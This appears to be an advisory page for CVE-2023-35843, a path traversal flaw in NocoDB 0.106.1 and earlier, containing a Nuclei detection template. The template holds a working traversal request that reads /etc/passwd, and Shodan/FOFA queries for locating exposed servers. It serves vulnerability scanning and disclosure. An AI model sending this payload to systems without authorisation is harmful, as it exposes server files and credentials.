NocoDB version <= 0.106.1 - Arbitrary File Read

2023-06-1919:23:05

ProjectDiscovery

github.com

cve2023

nocodb

path traversal

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

0.065 Low

EPSS

Percentile

93.8%

JSON

NocoDB through 0.106.1 has a path traversal vulnerability that allows an unauthenticated attacker to access arbitrary files on the server by manipulating the path parameter of the /download route. This vulnerability could allow an attacker to access sensitive files and data on the server, including configuration files, source code, and other sensitive information.

id: CVE-2023-35843

info:
  name: NocoDB version <= 0.106.1 - Arbitrary File Read
  author: dwisiswant0
  severity: high
  description: |
    NocoDB through 0.106.1 has a path traversal vulnerability that allows an unauthenticated attacker to access arbitrary files on the server by manipulating the path parameter of the /download route. This vulnerability could allow an attacker to access sensitive files and data on the server, including configuration files, source code, and other sensitive information.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive information, potentially exposing user credentials, database contents, and other confidential data.
  remediation: |
    Upgrade NocoDB to a version higher than 0.106.1 to mitigate the vulnerability.
  reference:
    - https://advisory.dw1.io/60
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35843
    - https://github.com/nocodb/nocodb/blob/6decfa2b20c28db9946bddce0bcb1442b683ecae/packages/nocodb/src/lib/controllers/attachment.ctl.ts#L62-L74
    - https://github.com/nocodb/nocodb/blob/f7ee7e3beb91d313a159895d1edc1aba9d91b0bc/packages/nocodb/src/controllers/attachments.controller.ts#L55-L66
    - https://github.com/0x783kb/Security-operation-book
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-35843
    cwe-id: CWE-22
    epss-score: 0.06332
    epss-percentile: 0.93628
    cpe: cpe:2.3:a:nocodb:nocodb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nocodb
    product: nocodb
    shodan-query: http.favicon.hash:-2017596142
    fofa-query: icon_hash=-2017596142
  tags: cve2023,cve,nocodb,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/download/{{repeat('..%2F', 5)}}etc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210088559921b903d99eb60be5c8d1c736542f2efcb6c870db07e407f880b952766902201f27e867d62d7b074b3f4239f748cfdceaa4a639ef021eb983afa2e4a1421592:922c64590222798bb761d5b6d8e72950